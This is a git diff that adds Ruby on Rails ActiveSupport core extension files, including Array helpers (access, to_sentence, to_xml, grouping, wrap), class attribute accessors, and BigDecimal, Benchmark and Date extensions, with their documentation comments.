+require 'active_support/core_ext/array/conversions'
+require 'active_support/core_ext/array/extract_options'
+require 'active_support/core_ext/array/grouping'
+require 'active_support/core_ext/array/prepend_and_append'
diff --git a/activesupport/lib/active_support/core_ext/array/access.rb b/activesupport/lib/active_support/core_ext/array/access.rb
new file mode 100644
index 0000000..4f1e432
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/array/access.rb
@@ -0,0 +1,54 @@
+class Array
+ # Returns the tail of the array from +position+.
+ #
+ # %w( a b c d ).from(0) # => ["a", "b", "c", "d"]
+ # %w( a b c d ).from(2) # => ["c", "d"]
+ # %w( a b c d ).from(10) # => []
+ # %w().from(0) # => []
+ def from(position)
+ self[position, length] || []
+ end
+
+ # Returns the beginning of the array up to +position+.
+ #
+ # %w( a b c d ).to(0) # => ["a"]
+ # %w( a b c d ).to(2) # => ["a", "b", "c"]
+ # %w( a b c d ).to(10) # => ["a", "b", "c", "d"]
+ # %w().to(0) # => []
+ def to(position)
+ first position + 1
+ end
+
+ # Equal to <tt>self[1]</tt>.
+ #
+ # %w( a b c d e ).second # => "b"
+ def second
+ self[1]
+ end
+
+ # Equal to <tt>self[2]</tt>.
+ #
+ # %w( a b c d e ).third # => "c"
+ def third
+ self[2]
+ end
+
+ # Equal to <tt>self[3]</tt>.
+ #
+ # %w( a b c d e ).fourth # => "d"
+ def fourth
+ self[3]
+ end
+
+ # Equal to <tt>self[4]</tt>.
+ #
+ # %w( a b c d e ).fifth # => "e"
+ def fifth
+ self[4]
+ end
+
+ # Equal to <tt>self[41]</tt>. Also known as accessing "the reddit".
+ def forty_two
+ self[41]
+ end
+end
diff --git a/activesupport/lib/active_support/core_ext/array/conversions.rb b/activesupport/lib/active_support/core_ext/array/conversions.rb
new file mode 100644
index 0000000..3807ee6
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/array/conversions.rb
@@ -0,0 +1,224 @@
+require 'active_support/xml_mini'
+require 'active_support/core_ext/hash/keys'
+require 'active_support/core_ext/string/inflections'
+require 'active_support/core_ext/object/to_param'
+require 'active_support/core_ext/object/to_query'
+
+class Array
+ # Converts the array to a comma-separated sentence where the last element is
+ # joined by the connector word.
+ #
+ # You can pass the following options to change the default behavior. If you
+ # pass an option key that doesn't exist in the list below, it will raise an
+ # <tt>ArgumentError</tt>.
+ #
+ # ==== Options
+ #
+ # * <tt>:words_connector</tt> - The sign or word used to join the elements
+ # in arrays with two or more elements (default: ", ").
+ # * <tt>:two_words_connector</tt> - The sign or word used to join the elements
+ # in arrays with two elements (default: " and ").
+ # * <tt>:last_word_connector</tt> - The sign or word used to join the last element
+ # in arrays with three or more elements (default: ", and ").
+ # * <tt>:locale</tt> - If +i18n+ is available, you can set a locale and use
+ # the connector options defined on the 'support.array' namespace in the
+ # corresponding dictionary file.
+ #
+ # ==== Examples
+ #
+ # [].to_sentence # => ""
+ # ['one'].to_sentence # => "one"
+ # ['one', 'two'].to_sentence # => "one and two"
+ # ['one', 'two', 'three'].to_sentence # => "one, two, and three"
+ #
+ # ['one', 'two'].to_sentence(passing: 'invalid option')
+ # # => ArgumentError: Unknown key :passing
+ #
+ # ['one', 'two'].to_sentence(two_words_connector: '-')
+ # # => "one-two"
+ #
+ # ['one', 'two', 'three'].to_sentence(words_connector: ' or ', last_word_connector: ' or at least ')
+ # # => "one or two or at least three"
+ #
+ # Using <tt>:locale</tt> option:
+ #
+ # # Given this locale dictionary:
+ # #
+ # # es:
+ # # support:
+ # # array:
+ # # words_connector: " o "
+ # # two_words_connector: " y "
+ # # last_word_connector: " o al menos "
+ #
+ # ['uno', 'dos'].to_sentence(locale: :es)
+ # # => "uno y dos"
+ #
+ # ['uno', 'dos', 'tres'].to_sentence(locale: :es)
+ # # => "uno o dos o al menos tres"
+ def to_sentence(options = {})
+ options.assert_valid_keys(:words_connector, :two_words_connector, :last_word_connector, :locale)
+
+ default_connectors = {
+ :words_connector => ', ',
+ :two_words_connector => ' and ',
+ :last_word_connector => ', and '
+ }
+ if defined?(I18n)
+ i18n_connectors = I18n.translate(:'support.array', locale: options[:locale], default: {})
+ default_connectors.merge!(i18n_connectors)
+ end
+ options = default_connectors.merge!(options)
+
+ case length
+ when 0
+ ''
+ when 1
+ self[0].to_s.dup
+ when 2
+ "#{self[0]}#{options[:two_words_connector]}#{self[1]}"
+ else
+ "#{self[0...-1].join(options[:words_connector])}#{options[:last_word_connector]}#{self[-1]}"
+ end
+ end
+
+ # Converts a collection of elements into a formatted string by calling
+ # <tt>to_s</tt> on all elements and joining them. Having this model:
+ #
+ # class Blog < ActiveRecord::Base
+ # def to_s
+ # title
+ # end
+ # end
+ #
+ # Blog.all.map(&:title) #=> ["First Post", "Second Post", "Third post"]
+ #
+ # <tt>to_formatted_s</tt> shows us:
+ #
+ # Blog.all.to_formatted_s # => "First PostSecond PostThird Post"
+ #
+ # Adding in the <tt>:db</tt> argument as the format yields a comma separated
+ # id list:
+ #
+ # Blog.all.to_formatted_s(:db) # => "1,2,3"
+ def to_formatted_s(format = :default)
+ case format
+ when :db
+ if empty?
+ 'null'
+ else
+ collect { |element| element.id }.join(',')
+ end
+ else
+ to_default_s
+ end
+ end
+ alias_method :to_default_s, :to_s
+ alias_method :to_s, :to_formatted_s
+
+ # Returns a string that represents the array in XML by invoking +to_xml+
+ # on each element. Active Record collections delegate their representation
+ # in XML to this method.
+ #
+ # All elements are expected to respond to +to_xml+, if any of them does
+ # not then an exception is raised.
+ #
+ # The root node reflects the class name of the first element in plural
+ # if all elements belong to the same type and that's not Hash:
+ #
+ # customer.projects.to_xml
+ #
+ # <?xml version="1.0" encoding="UTF-8"?>
+ # <projects type="array">
+ # <project>
+ # <amount type="decimal">20000.0</amount>
+ # <customer-id type="integer">1567</customer-id>
+ # <deal-date type="date">2008-04-09</deal-date>
+ # ...
+ # </project>
+ # <project>
+ # <amount type="decimal">57230.0</amount>
+ # <customer-id type="integer">1567</customer-id>
+ # <deal-date type="date">2008-04-15</deal-date>
+ # ...
+ # </project>
+ # </projects>
+ #
+ # Otherwise the root element is "objects":
+ #
+ # [{ foo: 1, bar: 2}, { baz: 3}].to_xml
+ #
+ # <?xml version="1.0" encoding="UTF-8"?>
+ # <objects type="array">
+ # <object>
+ # <bar type="integer">2</bar>
+ # <foo type="integer">1</foo>
+ # </object>
+ # <object>
+ # <baz type="integer">3</baz>
+ # </object>
+ # </objects>
+ #
+ # If the collection is empty the root element is "nil-classes" by default:
+ #
+ # [].to_xml
+ #
+ # <?xml version="1.0" encoding="UTF-8"?>
+ # <nil-classes type="array"/>
+ #
+ # To ensure a meaningful root element use the <tt>:root</tt> option:
+ #
+ # customer_with_no_projects.projects.to_xml(root: 'projects')
+ #
+ # <?xml version="1.0" encoding="UTF-8"?>
+ # <projects type="array"/>
+ #
+ # By default name of the node for the children of root is <tt>root.singularize</tt>.
+ # You can change it with the <tt>:children</tt> option.
+ #
+ # The +options+ hash is passed downwards:
+ #
+ # Message.all.to_xml(skip_types: true)
+ #
+ # <?xml version="1.0" encoding="UTF-8"?>
+ # <messages>
+ # <message>
+ # <created-at>2008-03-07T09:58:18+01:00</created-at>
+ # <id>1</id>
+ # <name>1</name>
+ # <updated-at>2008-03-07T09:58:18+01:00</updated-at>
+ # <user-id>1</user-id>
+ # </message>
+ # </messages>
+ #
+ def to_xml(options = {})
+ require 'active_support/builder' unless defined?(Builder)
+
+ options = options.dup
+ options[:indent] ||= 2
+ options[:builder] ||= Builder::XmlMarkup.new(indent: options[:indent])
+ options[:root] ||= \
+ if first.class != Hash && all? { |e| e.is_a?(first.class) }
+ underscored = ActiveSupport::Inflector.underscore(first.class.name)
+ ActiveSupport::Inflector.pluralize(underscored).tr('/', '_')
+ else
+ 'objects'
+ end
+
+ builder = options[:builder]
+ builder.instruct! unless options.delete(:skip_instruct)
+
+ root = ActiveSupport::XmlMini.rename_key(options[:root].to_s, options)
+ children = options.delete(:children) || root.singularize
+ attributes = options[:skip_types] ? {} : { type: 'array' }
+
+ if empty?
+ builder.tag!(root, attributes)
+ else
+ builder.tag!(root, attributes) do
+ each { |value| ActiveSupport::XmlMini.to_tag(children, value, options) }
+ yield builder if block_given?
+ end
+ end
+ end
+end
diff --git a/activesupport/lib/active_support/core_ext/array/extract_options.rb b/activesupport/lib/active_support/core_ext/array/extract_options.rb
new file mode 100644
index 0000000..9008a0d
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/array/extract_options.rb
@@ -0,0 +1,29 @@
+class Hash
+ # By default, only instances of Hash itself are extractable.
+ # Subclasses of Hash may implement this method and return
+ # true to declare themselves as extractable. If a Hash
+ # is extractable, Array#extract_options! pops it from
+ # the Array when it is the last element of the Array.
+ def extractable_options?
+ instance_of?(Hash)
+ end
+end
+
+class Array
+ # Extracts options from a set of arguments. Removes and returns the last
+ # element in the array if it's a hash, otherwise returns a blank hash.
+ #
+ # def options(*args)
+ # args.extract_options!
+ # end
+ #
+ # options(1, 2) # => {}
+ # options(1, 2, a: :b) # => {:a=>:b}
+ def extract_options!
+ if last.is_a?(Hash) && last.extractable_options?
+ pop
+ else
+ {}
+ end
+ end
+end
diff --git a/activesupport/lib/active_support/core_ext/array/grouping.rb b/activesupport/lib/active_support/core_ext/array/grouping.rb
new file mode 100644
index 0000000..640e6e9
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/array/grouping.rb
@@ -0,0 +1,99 @@
+class Array
+ # Splits or iterates over the array in groups of size +number+,
+ # padding any remaining slots with +fill_with+ unless it is +false+.
+ #
+ # %w(1 2 3 4 5 6 7 8 9 10).in_groups_of(3) {|group| p group}
+ # ["1", "2", "3"]
+ # ["4", "5", "6"]
+ # ["7", "8", "9"]
+ # ["10", nil, nil]
+ #
+ # %w(1 2 3 4 5).in_groups_of(2, ' ') {|group| p group}
+ # ["1", "2"]
+ # ["3", "4"]
+ # ["5", " "]
+ #
+ # %w(1 2 3 4 5).in_groups_of(2, false) {|group| p group}
+ # ["1", "2"]
+ # ["3", "4"]
+ # ["5"]
+ def in_groups_of(number, fill_with = nil)
+ if fill_with == false
+ collection = self
+ else
+ # size % number gives how many extra we have;
+ # subtracting from number gives how many to add;
+ # modulo number ensures we don't add group of just fill.
+ padding = (number - size % number) % number
+ collection = dup.concat([fill_with] * padding)
+ end
+
+ if block_given?
+ collection.each_slice(number) { |slice| yield(slice) }
+ else
+ groups = []
+ collection.each_slice(number) { |group| groups << group }
+ groups
+ end
+ end
+
+ # Splits or iterates over the array in +number+ of groups, padding any
+ # remaining slots with +fill_with+ unless it is +false+.
+ #
+ # %w(1 2 3 4 5 6 7 8 9 10).in_groups(3) {|group| p group}
+ # ["1", "2", "3", "4"]
+ # ["5", "6", "7", nil]
+ # ["8", "9", "10", nil]
+ #
+ # %w(1 2 3 4 5 6 7 8 9 10).in_groups(3, ' ') {|group| p group}
+ # ["1", "2", "3", "4"]
+ # ["5", "6", "7", " "]
+ # ["8", "9", "10", " "]
+ #
+ # %w(1 2 3 4 5 6 7).in_groups(3, false) {|group| p group}
+ # ["1", "2", "3"]
+ # ["4", "5"]
+ # ["6", "7"]
+ def in_groups(number, fill_with = nil)
+ # size / number gives minor group size;
+ # size % number gives how many objects need extra accommodation;
+ # each group hold either division or division + 1 items.
+ division = size.div number
+ modulo = size % number
+
+ # create a new array avoiding dup
+ groups = []
+ start = 0
+
+ number.times do |index|
+ length = division + (modulo > 0 && modulo > index ? 1 : 0)
+ groups << last_group = slice(start, length)
+ last_group << fill_with if fill_with != false &&
+ modulo > 0 && length == division
+ start += length
+ end
+
+ if block_given?
+ groups.each { |g| yield(g) }
+ else
+ groups
+ end
+ end
+
+ # Divides the array into one or more subarrays based on a delimiting +value+
+ # or the result of an optional block.
+ #
+ # [1, 2, 3, 4, 5].split(3) # => [[1, 2], [4, 5]]
+ # (1..10).to_a.split { |i| i % 3 == 0 } # => [[1, 2], [4, 5], [7, 8], [10]]
+ def split(value = nil, &block)
+ inject([[]]) do |results, element|
+ if block && block.call(element) || value == element
+ results << []
+ else
+ results.last << element
+ end
+
+ results
+ end
+ end
+end
diff --git a/activesupport/lib/active_support/core_ext/array/prepend_and_append.rb b/activesupport/lib/active_support/core_ext/array/prepend_and_append.rb
new file mode 100644
index 0000000..27718f1
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/array/prepend_and_append.rb
@@ -0,0 +1,7 @@
+class Array
+ # The human way of thinking about adding stuff to the end of a list is with append
+ alias_method :append, :<<
+
+ # The human way of thinking about adding stuff to the beginning of a list is with prepend
+ alias_method :prepend, :unshift
+end
\ No newline at end of file
diff --git a/activesupport/lib/active_support/core_ext/array/uniq_by.rb b/activesupport/lib/active_support/core_ext/array/uniq_by.rb
new file mode 100644
index 0000000..23573c9
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/array/uniq_by.rb
@@ -0,0 +1,19 @@
+class Array
+ # *DEPRECATED*: Use <tt>Array#uniq</tt> instead.
+ #
+ # Returns a unique array based on the criteria in the block.
+ #
+ # [1, 2, 3, 4].uniq_by { |i| i.odd? } # => [1, 2]
+ def uniq_by(&block)
+ ActiveSupport::Deprecation.warn 'uniq_by is deprecated. Use Array#uniq instead'
+ uniq(&block)
+ end
+
+ # *DEPRECATED*: Use <tt>Array#uniq!</tt> instead.
+ #
+ # Same as +uniq_by+, but modifies +self+.
+ def uniq_by!(&block)
+ ActiveSupport::Deprecation.warn 'uniq_by! is deprecated. Use Array#uniq! instead'
+ uniq!(&block)
+ end
+end
diff --git a/activesupport/lib/active_support/core_ext/array/wrap.rb b/activesupport/lib/active_support/core_ext/array/wrap.rb
new file mode 100644
index 0000000..1245768
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/array/wrap.rb
@@ -0,0 +1,45 @@
+class Array
+ # Wraps its argument in an array unless it is already an array (or array-like).
+ #
+ # Specifically:
+ #
+ # * If the argument is +nil+ an empty list is returned.
+ # * Otherwise, if the argument responds to +to_ary+ it is invoked, and its result returned.
+ # * Otherwise, returns an array with the argument as its single element.
+ #
+ # Array.wrap(nil) # => []
+ # Array.wrap([1, 2, 3]) # => [1, 2, 3]
+ # Array.wrap(0) # => [0]
+ #
+ # This method is similar in purpose to <tt>Kernel#Array</tt>, but there are some differences:
+ #
+ # * If the argument responds to +to_ary+ the method is invoked. <tt>Kernel#Array</tt>
+ # moves on to try +to_a+ if the returned value is +nil+, but <tt>Array.wrap</tt> returns
+ # such a +nil+ right away.
+ # * If the returned value from +to_ary+ is neither +nil+ nor an +Array+ object, <tt>Kernel#Array</tt>
+ # raises an exception, while <tt>Array.wrap</tt> does not, it just returns the value.
+ # * It does not call +to_a+ on the argument, though special-cases +nil+ to return an empty array.
+ #
+ # The last point is particularly worth comparing for some enumerables:
+ #
+ # Array(foo: :bar) # => [[:foo, :bar]]
+ # Array.wrap(foo: :bar) # => [{:foo=>:bar}]
+ #
+ # There's also a related idiom that uses the splat operator:
+ #
+ # [*object]
+ #
+ # which for +nil+ returns <tt>[]</tt>, and calls to <tt>Array(object)</tt> otherwise.
+ #
+ # Thus, in this case the behavior may be different for +nil+, and the differences with
+ # <tt>Kernel#Array</tt> explained above apply to the rest of <tt>object</tt>s.
+ def self.wrap(object)
+ if object.nil?
+ []
+ elsif object.respond_to?(:to_ary)
+ object.to_ary || [object]
+ else
+ [object]
+ end
+ end
+end
diff --git a/activesupport/lib/active_support/core_ext/benchmark.rb b/activesupport/lib/active_support/core_ext/benchmark.rb
new file mode 100644
index 0000000..eb25b2b
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/benchmark.rb
@@ -0,0 +1,14 @@
+require 'benchmark'
+
+class << Benchmark
+ # Benchmark realtime in milliseconds.
+ #
+ # Benchmark.realtime { User.all }
+ # # => 8.0e-05
+ #
+ # Benchmark.ms { User.all }
+ # # => 0.074
+ def ms
+ 1000 * realtime { yield }
+ end
+end
diff --git a/activesupport/lib/active_support/core_ext/big_decimal.rb b/activesupport/lib/active_support/core_ext/big_decimal.rb
new file mode 100644
index 0000000..8143113
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/big_decimal.rb
@@ -0,0 +1 @@
+require 'active_support/core_ext/big_decimal/conversions'
diff --git a/activesupport/lib/active_support/core_ext/big_decimal/conversions.rb b/activesupport/lib/active_support/core_ext/big_decimal/conversions.rb
new file mode 100644
index 0000000..39b8cea
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/big_decimal/conversions.rb
@@ -0,0 +1,31 @@
+require 'bigdecimal'
+require 'bigdecimal/util'
+require 'yaml'
+
+class BigDecimal
+ YAML_MAPPING = { 'Infinity' => '.Inf', '-Infinity' => '-.Inf', 'NaN' => '.NaN' }
+
+ def encode_with(coder)
+ string = to_s
+ coder.represent_scalar(nil, YAML_MAPPING[string] || string)
+ end
+
+ # Backport this method if it doesn't exist
+ unless method_defined?(:to_d)
+ def to_d
+ self
+ end
+ end
+
+ DEFAULT_STRING_FORMAT = 'F'
+ def to_formatted_s(*args)
+ if args[0].is_a?(Symbol)
+ super
+ else
+ format = args[0] || DEFAULT_STRING_FORMAT
+ _original_to_s(format)
+ end
+ end
+ alias_method :_original_to_s, :to_s
+ alias_method :to_s, :to_formatted_s
+end
diff --git a/activesupport/lib/active_support/core_ext/class.rb b/activesupport/lib/active_support/core_ext/class.rb
new file mode 100644
index 0000000..86b752c
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/class.rb
@@ -0,0 +1,4 @@
+require 'active_support/core_ext/class/attribute'
+require 'active_support/core_ext/class/attribute_accessors'
+require 'active_support/core_ext/class/delegating_attributes'
+require 'active_support/core_ext/class/subclasses'
diff --git a/activesupport/lib/active_support/core_ext/class/attribute.rb b/activesupport/lib/active_support/core_ext/class/attribute.rb
new file mode 100644
index 0000000..6d49b7b
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/class/attribute.rb
@@ -0,0 +1,125 @@
+require 'active_support/core_ext/kernel/singleton_class'
+require 'active_support/core_ext/module/remove_method'
+require 'active_support/core_ext/array/extract_options'
+
+class Class
+ # Declare a class-level attribute whose value is inheritable by subclasses.
+ # Subclasses can change their own value and it will not impact parent class.
+ #
+ # class Base
+ # class_attribute :setting
+ # end
+ #
+ # class Subclass < Base
+ # end
+ #
+ # Base.setting = true
+ # Subclass.setting # => true
+ # Subclass.setting = false
+ # Subclass.setting # => false
+ # Base.setting # => true
+ #
+ # In the above case as long as Subclass does not assign a value to setting
+ # by performing <tt>Subclass.setting = _something_ </tt>, <tt>Subclass.setting</tt>
+ # would read value assigned to parent class. Once Subclass assigns a value then
+ # the value assigned by Subclass would be returned.
+ #
+ # This matches normal Ruby method inheritance: think of writing an attribute
+ # on a subclass as overriding the reader method. However, you need to be aware
+ # when using +class_attribute+ with mutable structures as +Array+ or +Hash+.
+ # In such cases, you don't want to do changes in places but use setters:
+ #
+ # Base.setting = []
+ # Base.setting # => []
+ # Subclass.setting # => []
+ #
+ # # Appending in child changes both parent and child because it is the same object:
+ # Subclass.setting << :foo
+ # Base.setting # => [:foo]
+ # Subclass.setting # => [:foo]
+ #
+ # # Use setters to not propagate changes:
+ # Base.setting = []
+ # Subclass.setting += [:foo]
+ # Base.setting # => []
+ # Subclass.setting # => [:foo]
+ #
+ # For convenience, an instance predicate method is defined as well.
+ # To skip it, pass <tt>instance_predicate: false</tt>.
+ #
+ # Subclass.setting? # => false
+ #
+ # Instances may overwrite the class value in the same way:
+ #
+ # Base.setting = true
+ # object = Base.new
+ # object.setting # => true
+ # object.setting = false
+ # object.setting # => false
+ # Base.setting # => true
+ #
+ # To opt out of the instance reader method, pass <tt>instance_reader: false</tt>.
+ #
+ # object.setting # => NoMethodError
+ # object.setting? # => NoMethodError
+ #
+ # To opt out of the instance writer method, pass <tt>instance_writer: false</tt>.
+ #
+ # object.setting = false # => NoMethodError
+ #
+ # To opt out of both instance methods, pass <tt>instance_accessor: false</tt>.
+ def class_attribute(*attrs)
+ options = attrs.extract_options!
+ # double assignment is used to avoid "assigned but unused variable" warning
+ instance_reader = instance_reader = options.fetch(:instance_accessor, true) && options.fetch(:instance_reader, true)
+ instance_writer = options.fetch(:instance_accessor, true) && options.fetch(:instance_writer, true)
+ instance_predicate = options.fetch(:instance_predicate, true)
+
+ attrs.each do |name|
+ define_singleton_method(name) { nil }
+ define_singleton_method("#{name}?") { !!public_send(name) } if instance_predicate
+
+ ivar = "@#{name}"
+
+ define_singleton_method("#{name}=") do |val|
+ singleton_class.class_eval do
+ remove_possible_method(name)
+ define_method(name) { val }
+ end
+
+ if singleton_class?
+ class_eval do
+ remove_possible_method(name)
+ define_method(name) do
+ if instance_variable_defined? ivar
+ instance_variable_get ivar
+ else
+ singleton_class.send name
+ end
+ end
+ end
+ end
+ val
+ end
+
+ if instance_reader
+ remove_possible_method name
+ define_method(name) do
+ if instance_variable_defined?(ivar)
+ instance_variable_get ivar
+ else
+ self.class.public_send name
+ end
+ end
+ define_method("#{name}?") { !!public_send(name) } if instance_predicate
+ end
+
+ attr_writer name if instance_writer
+ end
+ end
+
+ private
+ def singleton_class?
+ ancestors.first != self
+ end
+end
diff --git a/activesupport/lib/active_support/core_ext/class/attribute_accessors.rb b/activesupport/lib/active_support/core_ext/class/attribute_accessors.rb
new file mode 100644
index 0000000..3485961
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/class/attribute_accessors.rb
@@ -0,0 +1,170 @@
+require 'active_support/core_ext/array/extract_options'
+
+# Extends the class object with class and instance accessors for class attributes,
+# just like the native attr* accessors for instance attributes.
+class Class
+ # Defines a class attribute if it's not defined and creates a reader method that
+ # returns the attribute value.
+ #
+ # class Person
+ # cattr_reader :hair_colors
+ # end
+ #
+ # Person.class_variable_set("@@hair_colors", [:brown, :black])
+ # Person.hair_colors # => [:brown, :black]
+ # Person.new.hair_colors # => [:brown, :black]
+ #
+ # The attribute name must be a valid method name in Ruby.
+ #
+ # class Person
+ # cattr_reader :"1_Badname "
+ # end
+ # # => NameError: invalid attribute name
+ #
+ # If you want to opt out the instance reader method, you can pass <tt>instance_reader: false</tt>
+ # or <tt>instance_accessor: false</tt>.
+ #
+ # class Person
+ # cattr_reader :hair_colors, instance_reader: false
+ # end
+ #
+ # Person.new.hair_colors # => NoMethodError
+ def cattr_reader(*syms)
+ options = syms.extract_options!
+ syms.each do |sym|
+ raise NameError.new("invalid class attribute name: #{sym}") unless sym =~ /^[_A-Za-z]\w*$/
+ class_eval(<<-EOS, __FILE__, __LINE__ + 1)
+ unless defined? @@#{sym}
+ @@#{sym} = nil
+ end
+
+ def self.#{sym}
+ @@#{sym}
+ end
+ EOS
+
+ unless options[:instance_reader] == false || options[:instance_accessor] == false
+ class_eval(<<-EOS, __FILE__, __LINE__ + 1)
+ def #{sym}
+ @@#{sym}
+ end
+ EOS
+ end
+ end
+ end
+
+ # Defines a class attribute if it's not defined and creates a writer method to allow
+ # assignment to the attribute.
+ #
+ # class Person
+ # cattr_writer :hair_colors
+ # end
+ #
+ # Person.hair_colors = [:brown, :black]
+ # Person.class_variable_get("@@hair_colors") # => [:brown, :black]
+ # Person.new.hair_colors = [:blonde, :red]
+ # Person.class_variable_get("@@hair_colors") # => [:blonde, :red]
+ #
+ # The attribute name must be a valid method name in Ruby.
+ #
+ # class Person
+ # cattr_writer :"1_Badname "
+ # end
+ # # => NameError: invalid attribute name
+ #
+ # If you want to opt out the instance writer method, pass <tt>instance_writer: false</tt>
+ # or <tt>instance_accessor: false</tt>.
+ #
+ # class Person
+ # cattr_writer :hair_colors, instance_writer: false
+ # end
+ #
+ # Person.new.hair_colors = [:blonde, :red] # => NoMethodError
+ #
+ # Also, you can pass a block to set up the attribute with a default value.
+ #
+ # class Person
+ # cattr_writer :hair_colors do
+ # [:brown, :black, :blonde, :red]
+ # end
+ # end
+ #
+ # Person.class_variable_get("@@hair_colors") # => [:brown, :black, :blonde, :red]
+ def cattr_writer(*syms)
+ options = syms.extract_options!
+ syms.each do |sym|
+ raise NameError.new("invalid class attribute name: #{sym}") unless sym =~ /^[_A-Za-z]\w*$/
+ class_eval(<<-EOS, __FILE__, __LINE__ + 1)
+ unless defined? @@#{sym}
+ @@#{sym} = nil
+ end
+
+ def self.#{sym}=(obj)
+ @@#{sym} = obj
+ end
+ EOS
+
+ unless options[:instance_writer] == false || options[:instance_accessor] == false
+ class_eval(<<-EOS, __FILE__, __LINE__ + 1)
+ def #{sym}=(obj)
+ @@#{sym} = obj
+ end
+ EOS
+ end
+ send("#{sym}=", yield) if block_given?
+ end
+ end
+
+ # Defines both class and instance accessors for class attributes.
+ #
+ # class Person
+ # cattr_accessor :hair_colors
+ # end
+ #
+ # Person.hair_colors = [:brown, :black, :blonde, :red]
+ # Person.hair_colors # => [:brown, :black, :blonde, :red]
+ # Person.new.hair_colors # => [:brown, :black, :blonde, :red]
+ #
+ # If a subclass changes the value then that would also change the value for
+ # parent class. Similarly if parent class changes the value then that would
+ # change the value of subclasses too.
+ #
+ # class Male < Person
+ # end
+ #
+ # Male.hair_colors << :blue
+ # Person.hair_colors # => [:brown, :black, :blonde, :red, :blue]
+ #
+ # To opt out of the instance writer method, pass <tt>instance_writer: false</tt>.
+ # To opt out of the instance reader method, pass <tt>instance_reader: false</tt>.
+ #
+ # class Person
+ # cattr_accessor :hair_colors, instance_writer: false, instance_reader: false
+ # end
+ #
+ # Person.new.hair_colors = [:brown] # => NoMethodError
+ # Person.new.hair_colors # => NoMethodError
+ #
+ # Or pass <tt>instance_accessor: false</tt>, to opt out both instance methods.
+ #
+ # class Person
+ # cattr_accessor :hair_colors, instance_accessor: false
+ # end
+ #
+ # Person.new.hair_colors = [:brown] # => NoMethodError
+ # Person.new.hair_colors # => NoMethodError
+ #
+ # Also you can pass a block to set up the attribute with a default value.
+ #
+ # class Person
+ # cattr_accessor :hair_colors do
+ # [:brown, :black, :blonde, :red]
+ # end
+ # end
+ #
+ # Person.class_variable_get("@@hair_colors") #=> [:brown, :black, :blonde, :red]
+ def cattr_accessor(*syms, &blk)
+ cattr_reader(*syms)
+ cattr_writer(*syms, &blk)
+ end
+end
diff --git a/activesupport/lib/active_support/core_ext/class/delegating_attributes.rb b/activesupport/lib/active_support/core_ext/class/delegating_attributes.rb
new file mode 100644
index 0000000..ff870f5
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/class/delegating_attributes.rb
@@ -0,0 +1,40 @@
+require 'active_support/core_ext/kernel/singleton_class'
+require 'active_support/core_ext/module/remove_method'
+
+class Class
+ def superclass_delegating_accessor(name, options = {})
+ # Create private _name and _name= methods that can still be used if the public
+ # methods are overridden. This allows
+ _superclass_delegating_accessor("_#{name}")
+
+ # Generate the public methods name, name=, and name?
+ # These methods dispatch to the private _name, and _name= methods, making them
+ # overridable
+ singleton_class.send(:define_method, name) { send("_#{name}") }
+ singleton_class.send(:define_method, "#{name}?") { !!send("_#{name}") }
+ singleton_class.send(:define_method, "#{name}=") { |value| send("_#{name}=", value) }
+
+ # If an instance_reader is needed, generate methods for name and name= on the
+ # class itself, so instances will be able to see them
+ define_method(name) { send("_#{name}") } if options[:instance_reader] != false
+ define_method("#{name}?") { !!send("#{name}") } if options[:instance_reader] != false
+ end
+
+ private
+ # Take the object being set and store it in a method. This gives us automatic
+ # inheritance behavior, without having to store the object in an instance
+ # variable and look up the superclass chain manually.
+ def _stash_object_in_method(object, method, instance_reader = true)
+ singleton_class.remove_possible_method(method)
+ singleton_class.send(:define_method, method) { object }
+ remove_possible_method(method)
+ define_method(method) { object } if instance_reader
+ end
+
+ def _superclass_delegating_accessor(name, options = {})
+ singleton_class.send(:define_method, "#{name}=") do |value|
+ _stash_object_in_method(value, name, options[:instance_reader] != false)
+ end
+ send("#{name}=", nil)
+ end
+end
diff --git a/activesupport/lib/active_support/core_ext/class/subclasses.rb b/activesupport/lib/active_support/core_ext/class/subclasses.rb
new file mode 100644
index 0000000..3c4bfc5
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/class/subclasses.rb
@@ -0,0 +1,42 @@
+require 'active_support/core_ext/module/anonymous'
+require 'active_support/core_ext/module/reachable'
+
+class Class
+ begin
+ ObjectSpace.each_object(Class.new) {}
+
+ def descendants # :nodoc:
+ descendants = []
+ ObjectSpace.each_object(singleton_class) do |k|
+ descendants.unshift k unless k == self
+ end
+ descendants
+ end
+ rescue StandardError # JRuby
+ def descendants # :nodoc:
+ descendants = []
+ ObjectSpace.each_object(Class) do |k|
+ descendants.unshift k if k < self
+ end
+ descendants.uniq!
+ descendants
+ end
+ end
+
+ # Returns an array with the direct children of +self+.
+ #
+ # Integer.subclasses # => [Fixnum, Bignum]
+ #
+ # class Foo; end
+ # class Bar < Foo; end
+ # class Baz < Bar; end
+ #
+ # Foo.subclasses # => [Bar]
+ def subclasses
+ subclasses, chain = [], descendants
+ chain.each do |k|
+ subclasses << k unless chain.any? { |c| c > k }
+ end
+ subclasses
+ end
+end
diff --git a/activesupport/lib/active_support/core_ext/date.rb b/activesupport/lib/active_support/core_ext/date.rb
new file mode 100644
index 0000000..5f13f5f
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/date.rb
@@ -0,0 +1,6 @@
+require 'active_support/core_ext/date/acts_like'
+require 'active_support/core_ext/date/calculations'
+require 'active_support/core_ext/date/conversions'
+require 'active_support/core_ext/date/zones'
+require 'active_support/core_ext/date/infinite_comparable'
+
diff --git a/activesupport/lib/active_support/core_ext/date/acts_like.rb b/activesupport/lib/active_support/core_ext/date/acts_like.rb
new file mode 100644
index 0000000..cd90cee
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/date/acts_like.rb
@@ -0,0 +1,8 @@
+require 'active_support/core_ext/object/acts_like'
+
+class Date
+ # Duck-types as a Date-like class. See Object#acts_like?.
+ def acts_like_date?
+ true
+ end
+end
